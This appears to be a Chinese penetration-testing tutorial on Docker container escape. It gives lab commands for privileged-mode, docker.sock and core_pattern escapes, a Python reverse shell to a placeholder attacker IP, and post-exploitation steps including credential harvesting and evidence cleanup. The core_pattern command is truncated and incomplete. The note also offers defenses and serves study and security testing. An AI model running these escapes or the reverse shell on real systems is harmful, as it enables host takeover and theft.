在云原生渗透测试中,Docker容器逃逸是从“入口点”到“宿主机权限”的关键跳跃。本笔记从实战视角,系统梳理Docker环境识别、容器风险分类、逃逸漏洞盘点及三种经典逃逸技术,并提供可复现的命令示例与Checklist。


1. Docker容器对渗透测试的影响

影响维度

说明

攻击面扩大

容器镜像可能包含已知漏洞组件(如Struts2、Log4j),成为初始入口。

隔离性减弱

特权模式、危险挂载可导致容器逃逸,直通宿主机。

横向移动便捷

容器网络与宿主机互通,逃逸后可攻击同节点其他容器及内网。

审计困难

容器生命周期短,日志易丢失,攻击者易清理痕迹。

渗透测试价值:检测Docker安全配置、发现逃逸路径、评估从容器到宿主机的风险传导。


2. 判断是否在Docker容器中(前渗透)

方法

命令

特征

检查cgroup

cat /proc/1/cgroup | grep -qi docker && echo "In Docker"

输出含/docker/

检查.dockerenv

ls -la /.dockerenv 2>/dev/null

文件存在

环境变量

env | grep -i docker

出现DOCKER_*

查看mounts

cat /proc/mounts | grep docker

挂载包含overlaydocker

查看PID 1进程

ps aux | head -2

不是systemd而是应用进程(如javanode

参考:详细判断脚本可参考 CSDN


3. 容器常见风险点分类

风险类别

具体问题

潜在危害

镜像风险

基础镜像含漏洞组件(老版OpenSSL、Log4j)、硬编码密钥

继承漏洞,易被利用

配置风险

特权模式、危险挂载(/var/run/docker.sock/proc/etc

容器逃逸、敏感信息泄露

能力风险

授予CAP_SYS_ADMINCAP_DAC_READ_SEARCH等高危Capability

绕过文件权限、挂载文件系统

网络风险

--net=host 或未限制对外访问

直接操作宿主机网络栈

软件漏洞

Docker Engine漏洞、Linux内核漏洞(如DirtyPipe)

逃逸或提权


4. Docker逃逸漏洞与内核漏洞盘点

类型

CVE编号

影响范围

简述

Docker自身

CVE-2021-25741

Docker ≤20.10.8

利用docker build时的符号链接替换,可读取主机文件

CVE-2021-30465

runc 1.0.0-rc94

通过RunExec竞争条件逃逸

CVE-2022-0492

Linux内核 Cgroup v1

利用release_agent逃逸

内核漏洞

CVE-2020-14386

Linux 4.6-5.9

利用AF_PACKET socket提权逃逸

CVE-2021-22555

Linux 2.6.19-5.12

Netfilter模块越界写入,可提权逃逸

CVE-2022-0847

Linux 5.8-5.16.11

“Dirty Pipe”任意文件覆写,可修改宿主机文件

综合利用参考Teamssix云原生攻击链


5. 不安全的容器配置(危险等级与利用条件)

配置项

含义

风险

典型场景

检测方法

特权模式 --privileged

容器拥有宿主机几乎所有权限

极高,直接逃逸

Docker-in-Docker

cat /proc/self/status | grep CapEff(全f则为特权)

挂载docker.sock

容器可操作主机Docker引擎

极高,逃逸

CI/CD工具(Jenkins)

ls -lah /var/run/docker.sock

挂载host /etc

可读写主机关键配置

高,信息泄露/篡改

监控工具

mount | grep /etc

挂载host /proc

利用core_pattern逃逸

极高

调试工具

find / -name core_pattern 2>/dev/null

挂载host /var/log

可读取主机日志中的敏感信息

日志收集器

mount | grep /var/log

Capability SYS_ADMIN

拥有文件系统/命名空间管理能力

极高

运行systemd的容器

capsh --print 查看当前cap

Capability DAC_READ_SEARCH

可绕过文件读权限检查

特定备份工具

同上


6. 三种经典容器逃逸实战
6.1 特权模式逃逸

靶场启动

docker run --rm --privileged=true -it alpine

检测特权

cat /proc/self/status | grep CapEff
# 若输出全`ffffffff`(32位)或`0000003fffffffff`(64位),则为特权

逃逸步骤

步骤

命令

说明

1. 查看磁盘设备

fdisk -l

找到宿主机设备(如/dev/vda1

2. 挂载宿主机根分区

mkdir /host && mount /dev/vda1 /host

挂载

3. chroot切换

chroot /host /bin/bash

获得宿主机Shell

6.2 挂载Docker Socket逃逸

靶场启动

docker run -itd --name with_docker_sock -v /var/run/docker.sock:/var/run/docker.sock ubuntu
docker exec -it with_docker_sock /bin/bash

检测socket

ls -lah /var/run/docker.sock

逃逸步骤

步骤

命令

说明

1. 安装Docker客户端

apt update && apt install -y curl
curl -fsSL https://get.docker.com/ | sh

2. 运行特权容器挂载宿主机根目录

docker run -it -v /:/host ubuntu /bin/bash

通过socket与宿主机Docker通信

3. 在新容器中chroot

chroot /host /bin/bash

获得宿主机控制权

6.3 挂载宿主机procfs逃逸(利用core_pattern)

靶场启动

docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu

检测危险挂载

find / -name core_pattern 2>/dev/null
# 若路径包含`/host/...`,则为危险挂载

逃逸步骤(需获取容器在宿主机上的merged路径,通过cat /proc/mounts | grep docker):

步骤

操作

1. 创建反弹shell脚本 /tmp/.x.py(内容见后)

chmod +x /tmp/.x.py

2. 修改core_pattern

`echo -e "

3. 编写崩溃程序x.c并编译运行

gcc x.c -o x && ./x 触发段错误

4. 攻击机监听端口

nc -lvvp 4444 获得宿主机Shell

Python反弹脚本 (.x.py)

#!/usr/bin/python
import os, pty, socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("攻击机IP", 4444))
os.dup2(s.fileno(), 0); os.dup2(s.fileno(), 1); os.dup2(s.fileno(), 2)
pty.spawn("/bin/bash")

崩溃程序 (x.c)

#include <stdio.h>
int main(void) {
    int *a = NULL;
    *a = 1;
    return 0;
}

完整流程参考Metarget - mount-host-procfs


7. 真实场景模拟

场景

启动命令

入口点

逃逸条件

高权限Java应用

docker run --rm --privileged=true -it -p 8888:8080 vulfocus/shiro-721

Shiro RCE获得Webshell(Java进程为root)

特权模式 → 直接逃逸(无需提权)

低权限PHP应用

docker run --rm --privileged=true -it -p 8080:80 sagikazarmark/dvwa

上传PHP Shell,用户为www-data

需先提权(如内核漏洞)再逃逸,但容器已是特权模式

注意:即使容器内用户权限低,若容器以特权模式运行,仍可利用内核漏洞提权后再执行mount等命令。


8. 渗透测试实战Checklist(Docker环境)
1. 环境识别
   - [ ] 判断是否在容器内(cgroup、.dockerenv、环境变量)
   - [ ] 查看挂载点 `mount`,寻找敏感挂载(/var/run/docker.sock、/proc、/etc、/sys)
   - [ ] 检查Docker版本 `docker version`(若已安装客户端)

2. 特权模式检测
   - [ ] 计算CapEff值 (`cat /proc/self/status | grep CapEff`)
   - [ ] 尝试直接挂载磁盘分区(`mount /dev/vda1 /mnt`),若能成功则特权模式

3. Docker Socket挂载检测
   - [ ] 检查`/var/run/docker.sock`是否存在
   - [ ] 执行`docker info`(需安装客户端),若能返回信息则逃逸路径可用

4. 挂载procfs检测
   - [ ] 查找`core_pattern`文件位置,判断是否可写
   - [ ] 利用Metarget脚本测试逃逸

5. 内核漏洞检测
   - [ ] 使用`linux-exploit-suggester`检查是否存在已知提权漏洞(如DirtyPipe)
   - [ ] 编译并运行对应EXP

6. 后渗透
   - [ ] 逃逸成功后,获取宿主机凭证、SSH密钥、搭建隧道
   - [ ] 清理证据(删除创建的临时文件、恢复core_pattern)

9. 防御建议(从渗透视角反推)

风险

防御措施

特权模式

禁止使用--privileged;改用--cap-drop=ALL --cap-add=必要能力

Docker Socket挂载

避免挂载/var/run/docker.sock;若必须,使用只读模式且限制用户权限

挂载敏感目录

挂载/proc/etc/var/log时使用ro只读,且使用最小子目录

内核漏洞

及时更新宿主机内核,启用livepatch热修复

容器运行时

考虑使用Kata Containers或gVisor等安全容器


💡 总结

Docker容器逃逸的核心在于识别危险配置利用内核/组件漏洞。渗透测试人员应掌握:

  • 判断容器环境的多种手段
  • 特权模式、docker.sock挂载、procfs挂载三种经典逃逸的详细步骤
  • 低权限用户提权配合(需结合内核漏洞)

通过本笔记的Checklist和命令示例,可快速验证目标容器是否存在逃逸路径。在实际攻防中,容器逃逸是从“Web入口”到“宿主机权限”的关键跳跃。

更多推荐